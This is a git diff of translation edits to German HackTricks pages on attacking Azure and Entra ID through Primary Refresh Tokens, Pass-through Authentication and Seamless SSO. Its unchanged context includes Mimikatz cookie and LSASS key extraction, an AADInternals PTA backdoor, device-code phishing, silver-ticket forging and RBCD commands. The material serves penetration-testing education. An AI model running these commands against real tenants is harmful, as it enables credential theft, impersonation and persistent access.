-Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt sind** für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html), zu dem die Cookies gehören, verschlüsselt. Weitere Informationen dazu finden Sie in:
+Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt** sind für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html), mit denen die Cookies verbunden sind, verschlüsselt. Weitere Informationen dazu finden Sie in:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
 {{#endref}}
 
-Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, auch wenn sie mit diesem Befehl verschlüsselt sind:
+Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, obwohl sie mit diesem Befehl verschlüsselt sind:
 ```bash
 mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
 ```

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md

@@ -36,7 +36,7 @@ Hier ist eine vereinfachte Übersicht, wie ein PRT funktioniert:
 
 ### Warum sind PRTs mächtig?
 
--   **Universeller Zugriff:** Im Gegensatz zu typischen Token, die auf eine App oder Ressource beschränkt sind, kann ein PRT den Zugriff auf alle Entra ID-integrierten Dienste erleichtern.
+-   **Universeller Zugriff:** Im Gegensatz zu typischen Tokens, die auf eine App oder Ressource beschränkt sind, kann ein PRT den Zugriff auf alle Entra ID-integrierten Dienste erleichtern.
 
 -   **Erhöhte Sicherheit:** Mit integrierten Hardware-Schutzmaßnahmen (wie TPM) gewährleisten PRTs eine sichere Token-Speicherung und -Nutzung.
 
@@ -63,7 +63,7 @@ dsregcmd /status
 ```
 ## PRT übergeben
 
-Laut [diesem Beitrag](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) auf Windows-Geräten **ohne TPM-Bindung** leben der PRT und sein Sitzungsschlüssel in LSASS (CloudAP-Plugin). Mit lokalen Admin-/SYSTEM-Rechten auf diesem Gerät kann der PRT-BLOB und der DPAPI-verschlüsselte Sitzungsschlüssel **aus LSASS gelesen, der Sitzungsschlüssel über DPAPI entschlüsselt und der Signaturschlüssel abgeleitet** werden, um ein gültiges PRT-Cookie (`x‑ms‑RefreshTokenCredential`) zu erstellen. Sie benötigen sowohl den PRT als auch seinen Sitzungsschlüssel – der PRT-String allein reicht nicht aus.
+Laut [diesem Beitrag](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) auf Windows-Geräten **ohne TPM-Bindung** leben der PRT und sein Sitzungsschlüssel in LSASS (CloudAP-Plugin). Mit lokalen Admin/SYSTEM-Rechten auf diesem Gerät kann der PRT-BLOB und der DPAPI-verschlüsselte Sitzungsschlüssel **aus LSASS gelesen, der Sitzungsschlüssel über DPAPI entschlüsselt und der Signaturschlüssel abgeleitet** werden, um ein gültiges PRT-Cookie (`x‑ms‑RefreshTokenCredential`) zu erstellen. Sie benötigen sowohl den PRT als auch seinen Sitzungsschlüssel – der PRT-String allein reicht nicht aus.
 
 ### Mimikatz
 
@@ -93,7 +93,7 @@ Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<Encrypte
 Der `token::elevate` wird SYSTEM impersonifizieren und der `dpapi::cloudapkd` Befehl mit `/unprotect` wird den DPAPI-Master-Schlüssel verwenden, um den bereitgestellten KeyValue-BLOB zu entschlüsseln. Dies ergibt den Klartext-Sitzungsschlüssel sowie den zugehörigen abgeleiteten Schlüssel und Kontext, die zum Signieren verwendet werden:
 - **Klarer Schlüssel** – der 32-Byte-Sitzungsschlüssel im Klartext (dargestellt als Hex-String).
 - **Abgeleiteter Schlüssel** – ein 32-Byte-Schlüssel, der aus dem Sitzungsschlüssel und einem Kontextwert abgeleitet wurde (mehr dazu weiter unten).
-- **Kontext** – ein 24-Byte zufälliger Kontext, der beim Ableiten des Signaturschlüssels für das PRT-Cookie verwendet wurde.
+- **Kontext** – ein 24-Byte-zufälliger Kontext, der beim Ableiten des Signaturschlüssels für das PRT-Cookie verwendet wurde.
 
 > [!NOTE]
 > Wenn dies nicht funktioniert, um den Benutzer zu impersonifizieren, überprüfen Sie den folgenden Abschnitt mit **`AADInternals`**.
@@ -135,7 +135,7 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
 # Get an access token for MS Graph API
 Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
 ```
-Dies erhält ein frisches PRT-Cookie (mit einem Nonce) und verwendet es dann, um ein Zugriffstoken für die Azure AD Graph API abzurufen (was den Cloud-Zugriff im Namen des Benutzers demonstriert). AADInternals abstrahiert einen Großteil der Kryptografie und verwendet Windows-Komponenten oder eigene Logik im Hintergrund.
+Dies erhält ein frisches PRT-Cookie (mit einem Nonce) und verwendet es dann, um ein Zugriffstoken für die Azure AD Graph API abzurufen (was den Cloud-Zugriff im Namen des Benutzers demonstriert). AADInternals abstrahiert einen Großteil der Kryptografie und verwendet Windows-Komponenten oder seine eigene Logik im Hintergrund.
 
 ### Mimikatz + roadtx
 
@@ -143,7 +143,7 @@ Dies erhält ein frisches PRT-Cookie (mit einem Nonce) und verwendet es dann, um
 ```bash
 roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
 ```
-- Jetzt können wir **Tokens** mit dem interaktiven Browser über `roadtx browserprtauth` anfordern. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte.
+- Jetzt können wir **Tokens anfordern**, indem wir den interaktiven Browser mit `roadtx browserprtauth` verwenden. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte.
 ```bash
 roadtx browserprtauth
 roadtx describe < .roadtools_auth
@@ -164,13 +164,13 @@ Trotz der genannten Schutzmaßnahmen kann ein Angreifer, der bereits ein Gerät
 
 Modernes Windows verwaltet die Cloud-Authentifizierung über einen integrierten **Token Broker**-Stack, der Komponenten sowohl im Benutzermodus als auch in LSASS (Local Security Authority) umfasst. Wichtige Teile dieser Architektur sind:
 
--   **LSASS CloudAP Plugin:** Wenn ein Gerät Azure AD beigetreten ist, lädt LSASS Cloud-Authentifizierungspakete (z. B. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`), die PRTs und Tokenanforderungen verwalten. LSASS (läuft als SYSTEM) orchestriert die Speicherung, Erneuerung und Nutzung von PRTs und kommuniziert mit dem TPM, um kryptografische Operationen durchzuführen (wie das Signieren einer PRT-Herausforderung mit dem Sitzungsschlüssel).
+-   **LSASS CloudAP Plugin:** Wenn ein Gerät mit Azure AD verbunden ist, lädt LSASS Cloud-Authentifizierungspakete (z. B. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`), die PRTs und Tokenanforderungen verwalten. LSASS (läuft als SYSTEM) orchestriert die Speicherung, Erneuerung und Nutzung von PRTs und kommuniziert mit dem TPM, um kryptografische Operationen durchzuführen (wie das Signieren einer PRT-Herausforderung mit dem Sitzungsschlüssel).
 
--   **Web Account Manager (WAM):** Der Windows Web Account Manager ist ein Benutzermodus-Framework (über COM/WinRT-APIs zugänglich), das es Anwendungen oder Browsern ermöglicht, Token für Cloud-Konten anzufordern, ohne nach Anmeldeinformationen zu fragen. WAM fungiert als Broker zwischen Benutzeranwendungen und dem sicheren LSASS/TPM-gestützten PRT. Beispielsweise verwenden Microsofts MSAL-Bibliothek und bestimmte Betriebssystemkomponenten WAM, um stillschweigend Token unter Verwendung des PRT des angemeldeten Benutzers zu erwerben.
+-   **Web Account Manager (WAM):** Der Windows Web Account Manager ist ein Framework im Benutzermodus (über COM/WinRT-APIs zugänglich), das es Anwendungen oder Browsern ermöglicht, Token für Cloud-Konten anzufordern, ohne nach Anmeldeinformationen zu fragen. WAM fungiert als Broker zwischen Benutzeranwendungen und dem sicheren, von LSASS/TPM unterstützten PRT. Beispielsweise verwenden Microsofts MSAL-Bibliothek und bestimmte Betriebssystemkomponenten WAM, um Token stillschweigend unter Verwendung des PRT des angemeldeten Benutzers zu erwerben.
 
--   **BrowserCore.exe und Token Broker COM-Schnittstellen:** Für Browser-SSO enthält Windows eine Komponente namens **BrowserCore.exe** (unter *Windows Security\BrowserCore* zu finden). Dies ist ein nativer Messaging-Host, der von Browsern (Edge, Chrome über eine Erweiterung usw.) verwendet wird, um ein PRT-abgeleitetes SSO-Token für die Azure AD-Anmeldung zu erhalten. Im Hintergrund nutzt BrowserCore ein COM-Objekt, das von `MicrosoftAccountTokenProvider.dll` bereitgestellt wird, um ein PRT-basiertes Cookie/Token abzurufen. Im Wesentlichen ist diese COM-Schnittstelle eine First-Party-"Token Broker"-API, die jeder Prozess, der als Benutzer ausgeführt wird, aufrufen kann, um ein SSO-Token zu erhalten (vorausgesetzt, der Benutzer hat einen gültigen PRT in LSASS).
+-   **BrowserCore.exe und Token Broker COM-Schnittstellen:** Für Browser-SSO enthält Windows eine Komponente namens **BrowserCore.exe** (unter *Windows Security\BrowserCore* zu finden). Dies ist ein nativer Messaging-Host, der von Browsern (Edge, Chrome über eine Erweiterung usw.) verwendet wird, um ein PRT-abgeleitetes SSO-Token für die Azure AD-Anmeldung zu erhalten. Im Hintergrund nutzt BrowserCore ein von `MicrosoftAccountTokenProvider.dll` bereitgestelltes COM-Objekt, um ein PRT-basiertes Cookie/Token abzurufen. Im Wesentlichen ist diese COM-Schnittstelle eine First-Party-"Token Broker"-API, die jeder Prozess, der als Benutzer ausgeführt wird, aufrufen kann, um ein SSO-Token zu erhalten (vorausgesetzt, der Benutzer hat einen gültigen PRT in LSASS).
 
-Wenn ein Azure AD beigetretener Benutzer versucht, auf eine Ressource (zum Beispiel das Azure-Portal) zuzugreifen, verläuft der Fluss typischerweise so: Eine Anwendung ruft die WAM- oder BrowserCore-COM-Schnittstelle auf, die wiederum mit LSASS kommuniziert. LSASS verwendet den PRT und den Sitzungsschlüssel (durch TPM gesichert), um ein **SSO-Token** zu erzeugen – oft als **PRT-Cookie** bezeichnet – das dann an die Anwendung oder den Browser zurückgegeben wird. Das PRT-Cookie ist ein spezielles JWT, das den verschlüsselten PRT und eine Nonce enthält, signiert mit einem Schlüssel, der aus dem Sitzungsschlüssel des PRT abgeleitet ist. Dieses Cookie wird an Azure AD gesendet (in einem `x-ms-RefreshTokenCredential`-Header), um zu beweisen, dass das Gerät und der Benutzer einen gültigen PRT besitzen, was Azure AD ermöglicht, standardmäßige OAuth-Refresh- und Zugriffstoken für verschiedene Anwendungen auszustellen. Bemerkenswert ist, dass jede Multi-Faktor-Authentifizierungs (MFA)-Behauptung, die im PRT vorhanden ist, in die über diesen SSO-Prozess erhaltenen Token übernommen wird, was bedeutet, dass PRT-abgeleitete Token MFA-geschützte Ressourcen erfüllen können.
+Wenn ein Azure AD-verbundener Benutzer versucht, auf eine Ressource (zum Beispiel das Azure-Portal) zuzugreifen, verläuft der Fluss typischerweise so: Eine Anwendung ruft die WAM- oder BrowserCore-COM-Schnittstelle auf, die wiederum mit LSASS kommuniziert. LSASS verwendet den PRT und den Sitzungsschlüssel (durch TPM gesichert), um ein **SSO-Token** zu erzeugen – oft als **PRT-Cookie** bezeichnet – das dann an die Anwendung oder den Browser zurückgegeben wird. Das PRT-Cookie ist ein spezielles JWT, das den verschlüsselten PRT und eine Nonce enthält, signiert mit einem Schlüssel, der aus dem Sitzungsschlüssel des PRT abgeleitet ist. Dieses Cookie wird an Azure AD (in einem `x-ms-RefreshTokenCredential`-Header) gesendet, um zu beweisen, dass das Gerät und der Benutzer einen gültigen PRT besitzen, was Azure AD ermöglicht, standardmäßige OAuth-Refresh- und Zugriffstoken für verschiedene Anwendungen auszustellen. Bemerkenswert ist, dass jede Multi-Faktor-Authentifizierungs (MFA)-Behauptung, die im PRT vorhanden ist, in die über diesen SSO-Prozess erhaltenen Token übernommen wird, was bedeutet, dass PRT-abgeleitete Token MFA-geschützte Ressourcen erfüllen können.
 
 ### Token-Diebstahl auf Benutzerebene (Nicht-Admin)
 
@@ -229,7 +229,8 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
 ```
 ### **Web Account Manager (WAM) APIs**
 
-Angreifer verwenden legitime Microsoft-Authentifizierungsbibliotheken (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) aus Prozessen auf Benutzerebene, um stillschweigend Tokens unter Ausnutzung von TPM-geschützten PRT abzurufen.
+Angreifer verwenden legitime Microsoft-Authentifizierungsbibliotheken (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) aus Prozessen auf Benutzerebene, um stillschweigend Tokens unter Ausnutzung des TPM-geschützten PRT abzurufen.
+
 
 -   **[aadprt](https://posts.specterops.io/)**
 ```bash
@@ -253,17 +254,17 @@ $result.AccessToken
 
 #### Missbrauch von Administrator- / SYSTEM-Level-Token
 
-Wenn der Angreifer auf **Administrator oder SYSTEM** eskaliert, kann er direkt jeden in Azure AD angemeldeten Benutzer impersonieren und dieselben **COM/WAM-Token-Broker-APIs** verwenden. TPM-geschützte PRTs verhindern nicht die legitime Token-Ausstellung.
+Wenn der Angreifer auf **Administrator oder SYSTEM** eskaliert, kann er direkt jeden in Azure AD angemeldeten Benutzer impersonieren und dieselben **COM/WAM-Tokenbroker-APIs** verwenden. TPM-geschützte PRTs verhindern diese legitime Token-Ausstellung nicht.
 
 ### **Benutzer-Impersonation und Token-Abruf**
 
 Admin/SYSTEM könnte laufende Sitzungen anderer Benutzer impersonieren, um BrowserCore oder WAM zur Token-Generierung aufzurufen.
 
-Dazu einfach den Benutzerprozess impersonieren (z. B. `explorer.exe`) und die Token-Broker-APIs mit einer der im vorherigen Abschnitt kommentierten Techniken aufrufen.
+Dazu einfach den Benutzerprozess impersonieren (z. B. `explorer.exe`) und die Tokenbroker-APIs mit einer der im vorherigen Abschnitt kommentierten Techniken aufrufen.
 
-### **Direkte LSASS- & Token-Broker-Interaktion (Fortgeschritten)**
+### **Direkte LSASS- & Tokenbroker-Interaktion (Fortgeschritten)**
 
-Ein Administrator kann weiterhin mit LSASS arbeiten, um den PRT auszunutzen: Zum Beispiel könnte ein Administrator Code in LSASS injizieren oder interne CloudAP-Funktionen aufrufen, um LSASS aufzufordern, ein Token zu erzeugen. Dirks Forschung stellte fest, dass ein Administrator „mit PRT-Schlüsseln in LSASS unter Verwendung von Krypto-APIs interagieren“ kann. In der Praxis könnte dies bedeuten, die eigenen Funktionen von LSASS (über eine Technik wie API-Hooking oder RPC, falls verfügbar) zu verwenden, um ein PRT-Cookie zu generieren. Ein anderer Ansatz besteht darin, jedes Fenster auszunutzen, in dem der Sitzungsschlüssel möglicherweise im Speicher erscheint – zum Beispiel im Moment der PRT-Erneuerung oder der Geräteregistrierung, wenn er unverschlüsselt zur Verwendung ist. Solche Angriffe sind erheblich komplexer und situativ. Eine einfachere Taktik für Administratoren besteht darin, vorhandene Token-Handles oder Caches auszunutzen: LSASS speichert kürzlich ausgegebene Refresh-Token für Apps im Speicher (verschlüsselt mit DPAPI). Ein entschlossener SYSTEM-Angreifer könnte versuchen, diese DPAPI-geschützten Tokens (unter Verwendung des Master-Schlüssels des Benutzers, den ein Administrator erhalten kann) zu extrahieren, um direkt Refresh-Token für bestimmte Anwendungen zu stehlen. Allerdings bleibt die einfachste und allgemeinste Methode die Impersonation und die Verwendung der dokumentierten Token-Broker-Schnittstellen, da diese garantieren, dass Azure AD frische Tokens (mit allen richtigen Ansprüchen) ausstellt, anstatt zu versuchen, die Verschlüsselung zu knacken.
+Ein Administrator kann weiterhin mit LSASS arbeiten, um den PRT auszunutzen: Zum Beispiel könnte ein Admin Code in LSASS injizieren oder interne CloudAP-Funktionen aufrufen, um LSASS aufzufordern, ein Token zu erzeugen. Dirks Forschung stellte fest, dass ein Admin „mit PRT-Schlüsseln in LSASS unter Verwendung von Krypto-APIs interagieren“ kann. In der Praxis könnte dies bedeuten, die eigenen Funktionen von LSASS (über eine Technik wie API-Hooking oder RPC, falls verfügbar) zu verwenden, um ein PRT-Cookie zu generieren. Ein anderer Ansatz besteht darin, jedes Fenster auszunutzen, in dem der Sitzungsschlüssel im Speicher erscheinen könnte – zum Beispiel im Moment der PRT-Erneuerung oder der Geräteregistrierung, wenn er unverschlüsselt zur Verwendung ist. Solche Angriffe sind erheblich komplexer und situationsabhängig. Eine einfachere Taktik für Administratoren besteht darin, vorhandene Token-Handles oder Caches auszunutzen: LSASS speichert kürzlich ausgegebene Refresh-Token für Apps im Speicher (verschlüsselt mit DPAPI). Ein entschlossener SYSTEM-Angreifer könnte versuchen, diese DPAPI-geschützten Tokens (unter Verwendung des Master-Schlüssels des Benutzers, den ein Admin erhalten kann) zu extrahieren, um direkt Refresh-Token für bestimmte Anwendungen zu stehlen. Die einfachste und allgemeinste Methode bleibt jedoch die Impersonation und die Verwendung der dokumentierten Tokenbroker-Schnittstellen, da diese garantieren, dass Azure AD frische Tokens (mit allen richtigen Ansprüchen) ausstellt, anstatt zu versuchen, die Verschlüsselung zu knacken.
 
 ## Phishing von PRTs
 
@@ -284,14 +285,14 @@ Missbrauch des **OAuth Device Code**-Flows unter Verwendung der **Microsoft Auth
 
 **Angriffsfluss**:
 
-1.  **Device Code-Auth** mit **client_id = Broker** und **DRS-Scopes/Ressource** initiieren; den **Benutzer-Code** dem Opfer anzeigen.
+1.  **Device Code-Auth** mit **client_id = Broker** und **DRS-Scopes/Ressource** initiieren; den **Benutzercode** dem Opfer anzeigen.
 ```bash
 curl -s -X POST \
 "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
 -d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
 -d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
 ```
-2.  **Das Opfer meldet sich auf der Microsoft-Website an** (legitime Benutzeroberfläche) und schließt **MFA** ab → **der Angreifer erhält ein DRS-scope Refresh-Token** für den Broker-Client.
+2.  **Das Opfer meldet sich auf der Microsoft-Website** (legitime Benutzeroberfläche) an und schließt **MFA** ab → **der Angreifer erhält ein DRS-scope Refresh-Token** für den Broker-Client.
 
 3.  **Registrieren Sie ein bösartiges Gerät** im Mandanten mit diesem Refresh-Token (Geräteobjekt wird erstellt und mit dem Opfer verknüpft).
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md

@@ -1,10 +1,10 @@
 # Az - PTA - Pass-through Authentication
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Grundinformationen
 
-[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra Pass-Through-Authentifizierung ermöglicht es Ihren Benutzern, sich mit denselben Passwörtern sowohl bei lokalen als auch bei cloudbasierten Anwendungen **anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und senkt die IT-Hilfskosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Microsoft Entra ID anmelden, validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory.
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra Pass-Through-Authentifizierung ermöglicht es Ihren Benutzern, sich mit denselben Passwörtern sowohl bei lokalen als auch bei cloudbasierten Anwendungen **anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und senkt die IT-Hilfe-Kosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Microsoft Entra ID anmelden, validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory.
 
 In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter nicht**, wie bei PHS.
 
@@ -16,7 +16,7 @@ Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der
 
 1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** sendet.
 2. Die **Anmeldeinformationen** werden **verschlüsselt** und in einer **Warteschlange** in Azure AD gesetzt.
-3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird als **"Pass-through Authentication Agent"** oder **PTA-Agent** bezeichnet.
+3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird als **"Pass-Through-Authentifizierungsagent"** oder **PTA-Agent** bezeichnet.
 4. Der **Agent** **validiert** die Anmeldeinformationen gegen das **lokale AD** und sendet die **Antwort** **zurück** an Azure AD, die, wenn die Antwort positiv ist, die **Anmeldung** des Benutzers **abschließt**.
 
 > [!WARNING]
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
 ```
 ## Pivoting
 
-Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem **PTA** **Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter** validiert, die eingegeben werden (so dass alle Passwörter für die Authentifizierung gültig sind):
+Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem **PTA**-**Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter** validiert, die eingegeben werden (so dass alle Passwörter für die Authentifizierung gültig sind):
 ```bash
 Install-Module AADInternals -RequiredVersion 0.9.3
 Import-Module AADInternals
@@ -82,17 +82,17 @@ Dieses Backdoor wird:
 > [!CAUTION]
 > Nachdem **GA-Rechte** in der Cloud erlangt wurden, ist es möglich, **einen neuen PTA-Agenten zu registrieren** und die **vorherigen** Schritte zu **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.**
 
-### Nahtloses SSO
+### Seamless SSO
 
-Es ist möglich, nahtloses SSO mit PTA zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:
+Es ist möglich, Seamless SSO mit PTA zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:
 
 {{#ref}}
 seamless-sso.md
 {{#endref}}
 
-## Referenzen
+## References
 
 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
 - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md

@@ -1,14 +1,14 @@
-# Az - Seamless SSO
+# Az - Nahtloses SSO
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
 
-## Grundinformationen
+## Grundlegende Informationen
 
-[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten** befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, **müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden**, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugriff auf Ihre cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.
+[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Nahtloses Single Sign-On (Azure AD Nahtloses SSO) **meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten** befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, **müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden**, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugriff auf Ihre cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.
 
 <figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
 
-Im Grunde **meldet Azure AD Seamless SSO** Benutzer an, wenn sie sich **auf einem lokal verbundenen PC** befinden.
+Im Grunde meldet Azure AD Nahtloses SSO **Benutzer an**, wenn sie sich **auf einem lokal verbundenen PC** befinden.
 
 Es wird sowohl von [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) als auch von [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) unterstützt.
 
@@ -18,7 +18,7 @@ Die **Kerberos-Tickets** sind **verschlüsselt** mit dem **NTHash (MD4)** des Pa
 
 **Entra ID** stellt einen **Endpunkt** (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos **Tickets** akzeptiert. Der Browser des domain-verbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter.
 
-### Enumeration
+### Aufzählung
 ```bash
 # Check if the SSO is enabled in the tenant
 Import-Module AADInternals
@@ -88,12 +88,12 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
 (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
 ```
 > [!NOTE]
-> Mit den aktuellen Informationen könntest du einfach das Tool **SeamlessPass** wie zuvor angegeben verwenden, um Azure- und Entraid-Token für jeden Benutzer in der Domäne zu erhalten.
-> Du könntest auch die vorherigen Techniken (und andere) verwenden, um den Hash des Passworts des Opfers zu erhalten, das du anstelle des `AZUREADSSOACC$`-Kontos nachahmen möchtest.
+> Mit den aktuellen Informationen könnten Sie einfach das Tool **SeamlessPass** wie zuvor angegeben verwenden, um Azure- und Entraid-Token für jeden Benutzer in der Domäne zu erhalten.
+> Sie könnten auch die vorherigen Techniken (und andere) verwenden, um den Hash des Passworts des Opfers zu erhalten, das Sie anstelle des Kontos `AZUREADSSOACC$` nachahmen möchten.
 
 #### Erstellen von Silver Tickets
 
-Mit dem Hash kannst du jetzt **Silver Tickets generieren**:
+Mit dem Hash können Sie jetzt **Silver Tickets generieren**:
 ```bash
 # Get users and SIDs
 Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -143,7 +143,7 @@ Um den Angriff durchzuführen, wird benötigt:
 python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
 -computer ATTACKBOX$ -password S3cureP@ss
 ```
-2. Schritt 2 – Gewähren Sie RBCD auf `AZUREADSSOACC$` - Schreibt die SID Ihres Geräts in `msDS-AllowedToActOnBehalfOfOtherIdentity`.
+2. Schritt 2 – Gewähren Sie RBCD auf `AZUREADSSOACC$` - Schreibt die SID Ihres Geräts in `msDS-AllowedToActOnBehalfOfOtherIdentity`.
 ```bash
 python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
 ATTACKBOX$ AZUREADSSOACC$
@@ -173,7 +173,7 @@ Sie können jetzt das **TGS verwenden, um auf Azure-Ressourcen als der impersoni
 
 ### ~~Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
 
-Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie **SID für jeden Cloud-Benutzer festlegen**. Auf diese Weise können Kerberos **Tickets** auch für **Cloud-nur-Benutzer** erstellt werden. Die einzige Voraussetzung ist, dass die SID eine gültige [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
+Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie **SID für jeden Cloud-Benutzer festlegen**. Auf diese Weise können Kerberos **Tickets** auch für **Cloud-nur-Benutzer** erstellt werden. Die einzige Voraussetzung ist, dass die SID eine gültige [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) ist.
 
 > [!CAUTION]
 > Das Ändern der SID von Cloud-nur-Admin-Benutzern ist jetzt **von Microsoft blockiert**.\
@@ -188,4 +188,4 @@ Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, k
 - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
 - [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}